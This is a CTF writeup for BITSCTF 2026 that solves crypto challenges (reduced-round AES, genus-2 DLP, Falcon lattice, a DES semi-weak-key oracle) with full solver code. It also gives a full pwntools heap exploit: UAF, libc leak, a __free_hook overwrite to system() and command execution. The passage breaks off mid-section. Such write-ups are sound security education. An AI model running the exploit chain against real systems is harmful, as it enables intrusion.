5645 words
28 minutes
Bitskrieg Capture The Flag 2026 - Writeup

hi everyone! I’m back with another CTF writeup. This time I participated in BITSCTF 2026 and managed to solve 15 interesting challenges across different categories including Crypto, Pwn, Reverse Engineering, Web, Forensics, and Blockchain. The challenges ranged from reduced-round AES brute-forcing to kernel exploitation, Unity game reversing, and Solana smart contracts. Let me walk you through my solutions.


Cryptography#

Aliens Eat Snacks#

Category: Crypto
Flag: BITSCTF{7h3_qu1ck_br0wn_f0x_jump5_0v3r_7h3_l4zy_d0g}

Challenge Description#

Custom AES-like implementation with only 4 rounds (standard AES-128 has 10). Given files: aes.py, output.txt, README.md.

Key information from output.txt:

  • key_hint: 26ab77cadcca0ed41b03c8f2e5 (13 of 16 bytes leaked)
  • encrypted_flag: 8e70387dc377a09cbc721debe27c468157b027e3e63fe02560506f70b3c72ca19130ae59c6eef47b734bb0147424ec936fc91dc658d15dee0b69a2dc24a78c44
  • num_samples: 1000 known plaintext/ciphertext pairs

Analysis#

The challenge leaks 13 out of 16 key bytes, leaving only 3 unknown bytes to brute-force:

224=16,777,2162^{24} = 16,777,216

This is fully brute-forceable with optimized C + OpenMP.

Solution#

Parse key_hint as first 13 bytes of the AES key. Brute-force all possible values for last 3 bytes. For each candidate key, encrypt sample plaintext #1 and compare with ciphertext #1, then encrypt sample plaintext #2 and compare. If both match, key is recovered.

File used: bruteforce_aes.c

#include <stdint.h>
#include <stdio.h>
#include <string.h>

#ifdef _OPENMP
#include <omp.h>
#endif

static uint8_t SBOX[256];
static uint8_t MUL2[256], MUL3[256];

static inline uint8_t gf_mult(uint8_t a, uint8_t b) {
    uint8_t result = 0;
    for (int i = 0; i < 8; i++) {
        if (b & 1) result ^= a;
        uint8_t hi = a & 0x80;
        a <<= 1;
        if (hi) a ^= 0x1B;
        b >>= 1;
    }
    return result;
}

static uint8_t gf_pow(uint8_t base, uint16_t exp) {
    uint8_t result = 1;
    while (exp) {
        if (exp & 1) result = gf_mult(result, base);
        base = gf_mult(base, base);
        exp >>= 1;
    }
    return result;
}

static void init_tables(void) {
    for (int i = 0; i < 256; i++) SBOX[i] = gf_pow((uint8_t)i, 23) ^ 0x63;
    for (int i = 0; i < 256; i++) {
        MUL2[i] = gf_mult(0x02, (uint8_t)i);
        MUL3[i] = gf_mult(0x03, (uint8_t)i);
    }
}

static const uint8_t RCON[10] = {0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36};

static void key_expansion_4round(const uint8_t key[16], uint8_t round_keys[80]) {
    uint8_t words[20][4];
    for (int i = 0; i < 4; i++) {
        words[i][0] = key[4*i+0];
        words[i][1] = key[4*i+1];
        words[i][2] = key[4*i+2];
        words[i][3] = key[4*i+3];
    }
    for (int i = 4; i < 20; i++) {
        uint8_t temp[4] = {words[i-1][0], words[i-1][1], words[i-1][2], words[i-1][3]};
        if (i % 4 == 0) {
            uint8_t t = temp[0];
            temp[0] = temp[1]; temp[1] = temp[2]; temp[2] = temp[3]; temp[3] = t;
            temp[0] = SBOX[temp[0]]; temp[1] = SBOX[temp[1]]; temp[2] = SBOX[temp[2]]; temp[3] = SBOX[temp[3]];
            temp[0] ^= RCON[(i/4)-1];
        }
        words[i][0] = words[i-4][0] ^ temp[0];
        words[i][1] = words[i-4][1] ^ temp[1];
        words[i][2] = words[i-4][2] ^ temp[2];
        words[i][3] = words[i-4][3] ^ temp[3];
    }
    for (int r = 0; r <= 4; r++) {
        for (int i = 0; i < 4; i++) {
            round_keys[r*16 + i*4 + 0] = words[r*4+i][0];
            round_keys[r*16 + i*4 + 1] = words[r*4+i][1];
            round_keys[r*16 + i*4 + 2] = words[r*4+i][2];
            round_keys[r*16 + i*4 + 3] = words[r*4+i][3];
        }
    }
}

static inline void add_round_key(uint8_t s[16], const uint8_t rk[16]) { for (int i=0;i<16;i++) s[i]^=rk[i]; }
static inline void sub_bytes(uint8_t s[16]) { for (int i=0;i<16;i++) s[i]=SBOX[s[i]]; }

static inline void shift_rows(uint8_t s[16]) {
    uint8_t t[16];
    for (int r=0;r<4;r++) for (int c=0;c<4;c++) t[r+4*c] = s[r+4*((c+r)&3)];
    memcpy(s,t,16);
}

static inline void mix_columns(uint8_t s[16]) {
    uint8_t t[16];
    for (int c=0;c<4;c++) {
        uint8_t s0=s[0+4*c], s1=s[1+4*c], s2=s[2+4*c], s3=s[3+4*c];
        t[0+4*c] = MUL2[s0]^MUL3[s1]^s2^s3;
        t[1+4*c] = s0^MUL2[s1]^MUL3[s2]^s3;
        t[2+4*c] = s0^s1^MUL2[s2]^MUL3[s3];
        t[3+4*c] = MUL3[s0]^s1^s2^MUL2[s3];
    }
    memcpy(s,t,16);
}

static void encrypt_block(const uint8_t rk[80], const uint8_t pt[16], uint8_t out[16]) {
    uint8_t s[16]; memcpy(s,pt,16);
    add_round_key(s, rk + 0);
    for (int r=1;r<4;r++) {
        sub_bytes(s); shift_rows(s); mix_columns(s); add_round_key(s, rk + 16*r);
    }
    sub_bytes(s); shift_rows(s); add_round_key(s, rk + 64);
    memcpy(out,s,16);
}

static int hex_to_bytes(const char *hex, uint8_t *out, size_t out_len) {
    if (strlen(hex) != out_len*2) return 0;
    for (size_t i=0;i<out_len;i++) {
        unsigned v; if (sscanf(hex+2*i, "%2x", &v) != 1) return 0;
        out[i] = (uint8_t)v;
    }
    return 1;
}

int main(void) {
    init_tables();
    const char *key_hint_hex = "26ab77cadcca0ed41b03c8f2e5";
    const char *pt1_hex = "376f73334dc9db2a4d20734c0783ac69";
    const char *ct1_hex = "9070f81f4de789663820e8924924732b";
    const char *pt2_hex = "a4da3590273d7b33b2a4e73210c38a05";
    const char *ct2_hex = "f501ed98c671cf1a23e5c028504d2603";

    uint8_t key_prefix[13], pt1[16], ct1[16], pt2[16], ct2[16];
    if (!hex_to_bytes(key_hint_hex, key_prefix, 13) ||
        !hex_to_bytes(pt1_hex, pt1, 16) ||
        !hex_to_bytes(ct1_hex, ct1, 16) ||
        !hex_to_bytes(pt2_hex, pt2, 16) ||
        !hex_to_bytes(ct2_hex, ct2, 16)) {
        return 1;
    }

    volatile int found = 0;
    uint8_t found_key[16] = {0};

    #pragma omp parallel
    {
        uint8_t key[16], rk[80], out[16];
        memcpy(key, key_prefix, 13);

        #pragma omp for schedule(dynamic, 4096)
        for (uint32_t s = 0; s <= 0xFFFFFF; s++) {
            if (found) continue;
            key[13] = (uint8_t)(s >> 16);
            key[14] = (uint8_t)(s >> 8);
            key[15] = (uint8_t)(s);

            key_expansion_4round(key, rk);
            encrypt_block(rk, pt1, out);
            if (memcmp(out, ct1, 16) != 0) continue;
            encrypt_block(rk, pt2, out);
            if (memcmp(out, ct2, 16) != 0) continue;

            #pragma omp critical
            {
                if (!found) {
                    found = 1;
                    memcpy(found_key, key, 16);
                }
            }
        }
    }

    if (!found) return 2;
    printf("KEY=");
    for (int i = 0; i < 16; i++) printf("%02x", found_key[i]);
    printf("\n");
    return 0;
}

Compile and run:

gcc -O3 -march=native -fopenmp bruteforce_aes.c -o bruteforce_aes
./bruteforce_aes

Output:

KEY=26ab77cadcca0ed41b03c8f2e5cdec0c

Use recovered key to decrypt encrypted_flag block-by-block:

#!/usr/bin/env python3
from aes import AES

key = bytes.fromhex("26ab77cadcca0ed41b03c8f2e5cdec0c")
encrypted_flag = bytes.fromhex(
    "8e70387dc377a09cbc721debe27c468157b027e3e63fe02560506f70b3c72ca1"
    "9130ae59c6eef47b734bb0147424ec936fc91dc658d15dee0b69a2dc24a78c44"
)

cipher = AES(key)
plaintext = b"".join(cipher.decrypt(encrypted_flag[i:i+16]) for i in range(0, len(encrypted_flag), 16))

# PKCS#7 unpad
pad = plaintext[-1]
plaintext = plaintext[:-pad]

print(plaintext.decode())

Output:

BITSCTF{7h3_qu1ck_br0wn_f0x_jump5_0v3r_7h3_l4zy_d0g}

Insane Curves#

Category: Crypto
Flag: BITSCTF{7h15_15_w4y_2_63nu5_6n6}

Challenge Description#

Genus-2 hyperelliptic curve challenge. Given val.txt and description.txt with curve parameters and ciphertext.

From val.txt:

  • Prime field: p = 129403459552990578380563458675806698255602319995627987262273876063027199999999
  • Curve: y^2 = f(x), deg(f)=6
  • Public Jacobian elements G = (G_u, G_v) and Q = (Q_u, Q_v) in Mumford representation
  • Ciphertext: enc_flag=f6ca1f88bdb8e8dda17861b91704523f914564888c7138c24a3ab98902c10de5

Analysis#

The critical observation was that G is annihilated by p+1:

(p+1) * G = O

and p+1 is extremely smooth:

p+1=22331458741110131017919623529314p+1 = 2^{23}\cdot 3^{14}\cdot 5^8\cdot 7^4\cdot 11^{10}\cdot 13^{10}\cdot 17^9\cdot 19^6\cdot 23^5\cdot 29\cdot 31^4

That makes the discrete log in <G> solvable with Pohlig–Hellman. Target relation: Q=[x]GQ = [x]G

Solution#

Implement genus-2 Jacobian arithmetic for y^2=f(x) (Cantor composition/reduction). Work with divisor-class equality (compare via (A - B) == identity, not just raw (u,v) tuple equality). Solve DLP modulo each prime power of p+1 with PH, then recombine with CRT to recover full x.

File used: solve_insane_curves.py

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

p=129403459552990578380563458675806698255602319995627987262273876063027199999999
f=[87455262955769204408909693706467098277950190590892613056321965035180446006909,
   12974562908961912291194866717212639606874236186841895510497190838007409517645,
   11783716142539985302405554361639449205645147839326353007313482278494373873961,
   55538572054380843320095276970494894739360361643073391911629387500799664701622,
   124693689608554093001160935345506274464356592648782752624438608741195842443294,
   52421364818382902628746436339763596377408277031987489475057857088827865195813,
   50724784947260982182351215897978953782056750224573008740629192419901238915128]

G0=([95640493847532285274015733349271558012724241405617918614689663966283911276425,1],
    [23400917335266251424562394829509514520732985938931801439527671091919836508525])
Q0=([34277069903919260496311859860543966319397387795368332332841962946806971944007,
     343503204040841221074922908076232301549085995886639625441980830955087919004,1],
    [102912018107558878490777762211244852581725648344091143891953689351031146217393,
     65726604025436600725921245450121844689064814125373504369631968173219177046384])

ct=bytes.fromhex("f6ca1f88bdb8e8dda17861b91704523f914564888c7138c24a3ab98902c10de5")
GENUS=2

def norm(a):
    a=[x%p for x in a]
    while len(a)>1 and a[-1]==0:a.pop()
    return a

def deg(a):return len(a)-1

def padd(a,b):
    n=max(len(a),len(b));c=[0]*n
    for i in range(n): c[i]=((a[i] if i<len(a) else 0)+(b[i] if i<len(b) else 0))%p
    return norm(c)

def psub(a,b):
    n=max(len(a),len(b));c=[0]*n
    for i in range(n): c[i]=((a[i] if i<len(a) else 0)-(b[i] if i<len(b) else 0))%p
    return norm(c)

def pmul(a,b):
    c=[0]*(len(a)+len(b)-1)
    for i,x in enumerate(a):
        if x:
            for j,y in enumerate(b):
                if y:c[i+j]=(c[i+j]+x*y)%p
    return norm(c)

def inv(x):return pow(x,p-2,p)
def pscale(a,k):return norm([(x*k)%p for x in a])
def monic(a):
    a=norm(a)
    return pscale(a,inv(a[-1])) if a!=[0] else [0]

def divmodp(a,b):
    a=norm(a[:]);b=norm(b)
    if b==[0]:raise ZeroDivisionError
    if deg(a)<deg(b):return [0],a
    q=[0]*(deg(a)-deg(b)+1);ib=inv(b[-1])
    while a!=[0] and deg(a)>=deg(b):
        d=deg(a)-deg(b);coef=a[-1]*ib%p;q[d]=coef
        for i,bi in enumerate(b):a[i+d]=(a[i+d]-coef*bi)%p
        a=norm(a)
    return norm(q),norm(a)

def pmod(a,m): return divmodp(a,m)[1]
def divexact(a,b):
    q,r=divmodp(a,b)
    if r!=[0]:raise ValueError
    return q

def xgcd(a,b):
    a=norm(a); b=norm(b)
    s0,s1=[1],[0]; t0,t1=[0],[1]; r0,r1=a,b
    while r1!=[0]:
        q,r=divmodp(r0,r1)
        r0,r1=r1,r
        s0,s1=s1,psub(s0,pmul(q,s1))
        t0,t1=t1,psub(t0,pmul(q,t1))
    il=inv(r0[-1])
    return pscale(r0,il),pscale(s0,il),pscale(t0,il)

ID=([1],[0])

def normalize(D):
    u,v=D
    u=monic(u);v=pmod(v,u)
    return u,v

def reduction(a,b):
    a,b=normalize((a,b))
    a2=monic(divexact(psub(f,pmul(b,b)),a))
    b2=pmod(pscale(b,p-1),a2)
    if deg(a2)==deg(a):
        return (a2,b2)
    elif deg(a2)>GENUS:
        return reduction(a2,b2)
    return normalize((a2,b2))

def comp(D1,D2):
    a1,b1=normalize(D1); a2,b2=normalize(D2)
    if a1==a2 and b1==b2:
        d,h1,h3=xgcd(a1,pscale(b1,2))
        a=pmul(divexact(a1,d),divexact(a1,d))
        b=pmod(padd(b1,pmul(h3,divexact(psub(f,pmul(b1,b1)),d))),a)
    else:
        d0,_,h2=xgcd(a1,a2)
        if d0==[1]:
            a=pmul(a1,a2)
            b=pmod(padd(b2,pmul(pmul(h2,a2),psub(b1,b2))),a)
        else:
            d,l,h3=xgcd(d0,padd(b1,b2))
            a=divexact(pmul(a1,a2),pmul(d,d))
            b=pmod(padd(padd(b2,pmul(pmul(pmul(l,h2),psub(b1,b2)),divexact(a2,d))),
                        pmul(h3,divexact(psub(f,pmul(b2,b2)),d))),a)
    a=monic(a)
    return reduction(a,b) if deg(a)>GENUS else normalize((a,b))

def addD(A,B):
    if A==ID:return normalize(B)
    if B==ID:return normalize(A)
    return comp(A,B)

def negD(D):
    u,v=normalize(D)
    return (u,pmod(pscale(v,p-1),u))

def subD(A,B):return addD(A,negD(B))

def is_id(D):
    u,v=normalize(D)
    return u==[1] and v==[0]

def eqcls(A,B):
    return is_id(subD(A,B))

def smul(k,D):
    R=ID;Q=normalize(D)
    while k>0:
        if k&1:R=addD(R,Q)
        Q=addD(Q,Q)
        k//=2
    return R

def dlog_prime_power(Gi,Qi,l,e):
    x=0
    base=smul(l**(e-1),Gi)
    table=[]
    cur=ID
    for d in range(l):
        table.append(cur)
        cur=addD(cur,base)
    for j in range(e):
        R=subD(Qi,smul(x,Gi))
        C=smul(l**(e-1-j),R)
        digit=None
        for d,val in enumerate(table):
            if eqcls(val,C):
                digit=d
                break
        if digit is None:
            raise ValueError(f"No digit for l={l}, j={j}")
        x += digit*(l**j)
    return x

def crt(residues, moduli):
    x=0; M=1
    for r,m in zip(residues,moduli):
        k=((r-x)%m)*pow(M,-1,m)%m
        x += M*k
        M *= m
    return x%M

G=normalize(G0)
Q=normalize(Q0)
N=p+1

assert is_id(smul(N,G))

fac=[(2,23),(3,14),(5,8),(7,4),(11,10),(13,10),(17,9),(19,6),(23,5),(29,1),(31,4)]
res=[]; mods=[]
for l,e in fac:
    m=l**e
    Gi=smul(N//m,G)
    Qi=smul(N//m,Q)
    xi=dlog_prime_power(Gi,Qi,l,e)
    res.append(xi)
    mods.append(m)

x=crt(res,mods)
assert eqcls(smul(x,G),Q)

print("x =", x)

# key derivation that matches challenge encryption
key = hashlib.sha256(str(x).encode()).digest()
pt = bytes(a^b for a,b in zip(ct,key))

print("plaintext:", pt)
print("flag:", pt.decode())

Run:

python3 solve_insane_curves.py

Output:

x = 91527621348541142496688581834442276703691715094599257862319082414424378704170
flag: BITSCTF{7h15_15_w4y_2_63nu5_6n6}

Lattices Wreck Everything#

Category: Crypto
Flag: BITSCTF{h1nts_4r3_p0w3rfu1_4nd_f4lc0ns_4r3_f4st}

Challenge Description#

Falcon/NTRU-based challenge with beware.zip. 436 out of 512 coefficients of secret polynomial f were leaked as hints. Flag is encrypted with a SHA-256 stream key: key=SHA256(f.tobytes())key = \text{SHA256}(f.\text{tobytes()}), then XORed with challenge_flag.enc bytes.

From data inspection:

  • q = 12289
  • n = 512
  • A is 512 x 512, b is all-zero
  • hints count = 436 unique indices
  • unknown secret coefficients = 512 - 436 = 76

Analysis#

The public equation: b=(fA+gneg)modq=0b = (f \cdot A + g_{neg}) \bmod q = 0

This is an LWE-like bounded-noise equation:

  • f_known: vector with known hinted coefficients
  • x: 76-dimensional vector for unknown coefficients
  • M = A[missing,:]^T (shape 512 x 76)
  • c = f_known @ A

Equation becomes: c+Mxg(modq)c + Mx \equiv g \pmod q, where gg is small (Falcon noise). This is ideal for a primal lattice CVP attack.

Solution#

Build a primal lattice basis for sampled equations: L={(qz+Asx,αx)}L = \{(qz + A_s x, \alpha x)\}. Reduce basis with LLL then BKZ. Use Babai nearest plane (CVP.babai) with target -c_s. Recover candidate x from the scaled block. Refine with alternating rounded least-squares and coordinate descent.

File used: solve_primal_target.py

#!/usr/bin/env python3
import hashlib
import json
from pathlib import Path

import numpy as np
from fpylll import BKZ, CVP, IntegerMatrix, LLL


def centered(v, q):
    return ((v + q // 2) % q) - q // 2


def decrypt_flag(f_vec, enc_hex):
    key = hashlib.sha256(np.array(f_vec, dtype=np.int64).tobytes()).digest()
    ct = bytes.fromhex(enc_hex)
    return bytes(c ^ key[i % len(key)] for i, c in enumerate(ct))


def build_basis(A_samp, q, alpha):
    # L = {(qz + A x, alpha x)}
    m, n = A_samp.shape
    d = m + n
    rows = []
    for i in range(m):
        r = [0] * d
        r[i] = int(q)
        rows.append(r)
    for j in range(n):
        r = [0] * d
        col = A_samp[:, j]
        for i in range(m):
            r[i] = int(col[i])
        r[m + j] = int(alpha)
        rows.append(r)
    return IntegerMatrix.from_matrix(rows)


def score_x(x, M_all, c_all, q):
    e = centered((c_all + M_all @ x).astype(np.int64), q)
    return int(np.dot(e, e)), int(np.max(np.abs(e))), float(np.std(e)), e


def refine_x(x, M_all, c_all, q, lim=24, rounds=8):
    x = np.clip(x.astype(np.int64), -lim, lim)

    # alternating rounding least squares on quotient vars
    pinv = np.linalg.pinv(M_all.astype(np.float64))
    for _ in range(rounds):
        y = (c_all + M_all @ x).astype(np.float64)
        k = np.rint(y / float(q))
        rhs = (q * k - c_all).astype(np.float64)
        xn = np.rint(pinv @ rhs).astype(np.int64)
        xn = np.clip(xn, -lim, lim)
        if np.array_equal(xn, x):
            break
        x = xn

    # coordinate polish
    sc, _, _, expr = score_x(x, M_all, c_all, q)
    rng = np.random.default_rng(2026)
    for _ in range(10):
        improved = False
        for i in rng.permutation(len(x)):
            old = int(x[i])
            col = M_all[:, i]
            bestv, bests = old, sc
            for nv in (old - 2, old - 1, old + 1, old + 2):
                if nv < -lim or nv > lim:
                    continue
                expr2 = expr + col * (nv - old)
                e2 = centered(expr2, q)
                sc2 = int(np.dot(e2, e2))
                if sc2 < bests:
                    bests = sc2
                    bestv = nv
            if bestv != old:
                expr = expr + col * (bestv - old)
                x[i] = bestv
                sc = bests
                improved = True
        if not improved:
            break
    return x


def main():
    base = Path(__file__).resolve().parent
    data = json.loads((base / "challenge_data.json").read_text())
    enc_hex = (base / "challenge_flag.enc").read_text().strip()

    q = int(data["q"])
    nfull = int(data["n"])
    A = np.array(data["A"], dtype=np.int64)

    f_known = np.zeros(nfull, dtype=np.int64)
    known_mask = np.zeros(nfull, dtype=bool)
    for i, v in data["hints"]:
        i = int(i)
        f_known[i] = int(v)
        known_mask[i] = True

    missing = np.where(~known_mask)[0]
    n = len(missing)
    M_all = A[missing, :].T.astype(np.int64)  # 512 x 76
    c_all = (f_known @ A).astype(np.int64)

    print(f"[+] q={q}, unknown={n}, equations={M_all.shape[0]}")

    rng = np.random.default_rng(1337)
    best_sc = 10**100
    best_x = None

    trial = 0
    for m in [96, 112, 128, 144]:
        for alpha in [1, 2, 3, 4, 5, 6]:
            for beta in [22, 26, 30]:
                for _ in range(12):
                    trial += 1
                    idx = np.sort(rng.choice(M_all.shape[0], size=m, replace=False))
                    As = M_all[idx, :]
                    cs = c_all[idx]

                    B = build_basis(As, q, alpha)
                    LLL.reduction(B, delta=0.997)
                    BKZ.reduction(B, BKZ.Param(block_size=beta, max_loops=2))

                    # target is -c (NOT reduced mod q)
                    target = [int(-v) for v in cs.tolist()] + [0] * n
                    v = np.array(CVP.babai(B, target), dtype=np.int64)

                    x0 = np.rint(v[m:] / float(alpha)).astype(np.int64)
                    x0 = np.clip(x0, -28, 28)

                    for x in (x0, -x0):
                        x = refine_x(x, M_all, c_all, q, lim=24, rounds=8)
                        sc, mx, sd, _ = score_x(x, M_all, c_all, q)

                        if sc < best_sc:
                            best_sc = sc
                            best_x = x.copy()
                            print(
                                f"[+] best t={trial} m={m} a={alpha} bkz={beta} score={sc} max={mx} std={sd:.2f} xr=[{x.min()},{x.max()}]"
                            )

                        f_rec = f_known.copy()
                        for i, pos in enumerate(missing):
                            f_rec[pos] = int(x[i])
                        pt = decrypt_flag(f_rec.tolist(), enc_hex)
                        if b"BITSCTF{" in pt:
                            print("\n[+] FLAG FOUND")
                            print(pt.decode(errors="ignore"))
                            return

                    if trial % 20 == 0:
                        print(f"[*] trial={trial} current_best={best_sc}")

    print(f"[-] no flag. best_score={best_sc}")
    if best_x is not None:
        f_rec = f_known.copy()
        for i, pos in enumerate(missing):
            f_rec[pos] = int(best_x[i])
        pt = decrypt_flag(f_rec.tolist(), enc_hex)
        print(f"[+] best preview: {pt[:120]!r}")


if __name__ == "__main__":
    main()

Install dependencies and run:

python3 -m pip install fpylll cysignals numpy
python3 solve_primal_target.py

Output:

[+] best t=33 m=96 a=1 bkz=30 score=8716 max=14 std=4.11 xr=[-7,9]

[+] FLAG FOUND
BITSCTF{h1nts_4r3_p0w3rfu1_4nd_f4lc0ns_4r3_f4st}

Super DES#

Category: Crypto
Flag: BITSCTF{5up3r_d35_1z_n07_53cur3}

Challenge Description#

Given server.py. Remote: nc 20.193.149.152 1340. Description: “I heard triple des is deprecated, so I made my own.”

The server generates random k1 at startup, then lets us choose k2 and k3:

def triple_des_ultra_secure_v1(pt, k2, k3):
    return E_k1(E_k2(E_k3(pad(pt))))

def triple_des_ultra_secure_v2(pt, k2, k3):
    return D_k1(E_k2(E_k3(pad(pt))))

(k2 == k3 is blocked, but k2 != k3 is allowed.)

Analysis#

DES has semi-weak key pairs such that Eka(Ekb(x))=xE_{k_a}(E_{k_b}(x)) = x for specific distinct key pairs. One valid pair:

  • k2 = 01FE01FE01FE01FE
  • k3 = FE01FE01FE01FE01

So in ultra_secure_v1: Cflag=Ek1(Ek2(Ek3(pad(flag))))=Ek1(pad(flag))C_{flag} = E_{k1}(E_{k2}(E_{k3}(pad(flag)))) = E_{k1}(pad(flag))

Solution#

Use semi-weak pair to collapse encryption to Cflag=Ek1(pad(flag))C_{flag} = E_{k1}(pad(flag)). Then for arbitrary k2, k3, if we pick plaintext so that pad(pt)=Dk3(Dk2(Cflag))pad(pt) = D_{k3}(D_{k2}(C_{flag})), querying ultra_secure_v2 gives Dk1(Cflag)=pad(flag)D_{k1}(C_{flag}) = pad(flag).

The practical caveat: we must brute-force random (k2,k3) until Dk3(Dk2(Cflag))D_{k3}(D_{k2}(C_{flag})) has valid PKCS#7 structure.

File used: solve_super_des.py

#!/usr/bin/env python3
from pwn import remote
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes

HOST, PORT = "20.193.149.152", 1340


def adjust_key(key8: bytes) -> bytes:
    out = bytearray()
    for b in key8:
        b7 = b & 0xFE
        ones = bin(b7).count("1")
        out.append(b7 | (ones % 2 == 0))
    return bytes(out)


def wait_k2_prompt(io):
    io.recvuntil(b"enter k2 hex bytes >")


def query(io, k2: bytes, k3: bytes, option: int, mode: int, pt_hex: str | None = None) -> bytes:
    wait_k2_prompt(io)
    io.sendline(k2.hex().encode())
    io.recvuntil(b"enter k3 hex bytes >")
    io.sendline(k3.hex().encode())

    io.recvuntil(b"enter option >")
    io.sendline(str(option).encode())

    io.recvuntil(b"enter option >")
    io.sendline(str(mode).encode())

    if mode == 2:
        io.recvuntil(b"enter hex bytes >")
        io.sendline(pt_hex.encode())

    line = io.recvline_contains(b"ciphertext")
    return bytes.fromhex(line.decode().split(":", 1)[1].strip())


def main():
    io = remote(HOST, PORT)

    # Step 1: semi-weak pair so E_k2(E_k3(x)) = x
    k2w = bytes.fromhex("01FE01FE01FE01FE")
    k3w = bytes.fromhex("FE01FE01FE01FE01")

    # Cflag = E_k1(pad(flag))
    cflag = query(io, k2w, k3w, option=2, mode=1)
    print(f"[+] Cflag ({len(cflag)} bytes): {cflag.hex()}")

    # Step 2: find k2,k3 where D_k3(D_k2(cflag)) is valid PKCS#7
    attempts = 0
    while True:
        attempts += 1
        k2 = adjust_key(get_random_bytes(8))
        k3 = adjust_key(get_random_bytes(8))
        if k2 == k3:
            continue

        pre = DES.new(k3, DES.MODE_ECB).decrypt(DES.new(k2, DES.MODE_ECB).decrypt(cflag))
        try:
            chosen_pt = unpad(pre, 8)
        except ValueError:
            continue

        print(f"[+] Found valid candidate after {attempts} attempts")

        # Step 3: v2 returns pad(flag)
        out = query(io, k2, k3, option=3, mode=2, pt_hex=chosen_pt.hex())
        flag = unpad(out, 8)
        print(f"[+] Flag bytes: {flag}")
        print(f"[+] Flag: {flag.decode()}")
        break

    io.close()


if __name__ == "__main__":
    main()

Run:

python3 solve_super_des.py

Output:

[+] Cflag (40 bytes): 72922fe6db8bbc21825f1f3a5a9d336e82ef77555946655ed1529579670aab074df19b7d7a35e007
[+] Found valid candidate after 6 attempts
[+] Flag bytes: b'BITSCTF{5up3r_d35_1z_n07_53cur3}'
[+] Flag: BITSCTF{5up3r_d35_1z_n07_53cur3}

Pwn (Binary Exploitation)#

Cider Vault#

Category: Pwn
Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}

Challenge Description#

Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680

Protections: 64-bit PIE, Full RELRO, Canary, NX.

Analysis#

From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:

  1. open pagemalloc(size)
  2. paint page → writes attacker bytes to chunk
  3. peek page → prints attacker-chosen bytes from chunk
  4. tear pagefree(ptr)
  5. stitch pagesrealloc + copy from another page
  6. whisper path → rewires pointer as: vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91

Bugs used:

  • UAF: tear page frees memory but pointer is not nulled
  • OOB read/write: paint/peek allow up to size + 0x80
  • Arbitrary pointer assignment: whisper path lets us set page pointer to almost any address

Exploitation#

Step A — Leak libc with unsorted bin:

  1. Allocate large chunk (0x500) so free goes to unsorted bin
  2. Allocate guard chunk (0x100) to avoid top consolidation
  3. Free the large chunk
  4. Use UAF + peek to read first qword (unsorted fd)

Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0

Step B — Hook hijack:

  • __free_hook = libc_base + 0x1eee48
  • system = libc_base + 0x52290

Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).

Step C — Trigger code execution: Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).

File used: exploit.py

#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./cider_vault", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

LD = "./ld-linux-x86-64.so.2"
XOR_KEY = 0x51F0D1CE6E5B7A91
UNSORTED_LEAK_OFF = 0x1ECBE0


def start():
    if args.REMOTE:
        host = args.HOST or "127.0.0.1"
        port = int(args.PORT or 1337)
        return remote(host, port)
    return process([LD, "--library-path", ".", "./cider_vault"])


def choose(io, n):
    io.sendlineafter(b"> ", str(n).encode())


def open_page(io, idx, size):
    choose(io, 1)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"page size:\n", str(size).encode())


def paint_page(io, idx, data):
    choose(io, 2)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
    io.sendafter(b"ink:\n", data)


def peek_page(io, idx, n):
    choose(io, 3)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    io.sendlineafter(b"peek bytes:\n", str(n).encode())
    out = io.recvn(n)
    io.recvuntil(b"\n")
    return out


def tear_page(io, idx):
    choose(io, 4)
    io.sendlineafter(b"page id:\n", str(idx).encode())


def whisper_path(io, idx, target_addr):
    choose(io, 6)
    io.sendlineafter(b"page id:\n", str(idx).encode())
    token = target_addr ^ XOR_KEY
    if token >= (1 << 63):
        token -= 1 << 64
    io.sendlineafter(b"star token:\n", str(token).encode())


def main():
    io = start()

    # 1) Leak libc from unsorted bin using UAF + OOB peek
    open_page(io, 0, 0x500)
    open_page(io, 1, 0x100)  # guard chunk to avoid top consolidation
    tear_page(io, 0)

    leak = u64(peek_page(io, 0, 8))
    libc.address = leak - UNSORTED_LEAK_OFF
    log.success(f"unsorted leak: {hex(leak)}")
    log.success(f"libc base    : {hex(libc.address)}")

    free_hook = libc.symbols["__free_hook"]
    system = libc.symbols["system"]
    log.info(f"__free_hook  : {hex(free_hook)}")
    log.info(f"system       : {hex(system)}")

    # 2) Prepare command chunk; free(cmd) will become system(cmd)
    cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
    open_page(io, 2, 0x100)
    paint_page(io, 2, cmd)

    # 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
    open_page(io, 3, 0x100)
    whisper_path(io, 3, free_hook)
    paint_page(io, 3, p64(system))

    # 4) Trigger system(cmd)
    tear_page(io, 2)

    out = io.recvrepeat(2)
    print(out.decode("latin-1", errors="ignore"))
    io.close()


if __name__ == "__main__":
    main()

Run local:

python3 exploit.py

Run remote:

python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680

Retrieved flag:

BITSCTF{358289056fd6ac0fef4e114ae5abeab2}

Orbital Relay#

Category: Pwn
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Challenge Description#

Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339

Protections: Full RELRO, Canary, NX, SHSTK, IBT.

Analysis#

The service uses a binary framed protocol:

Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.

Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]

MAC function:

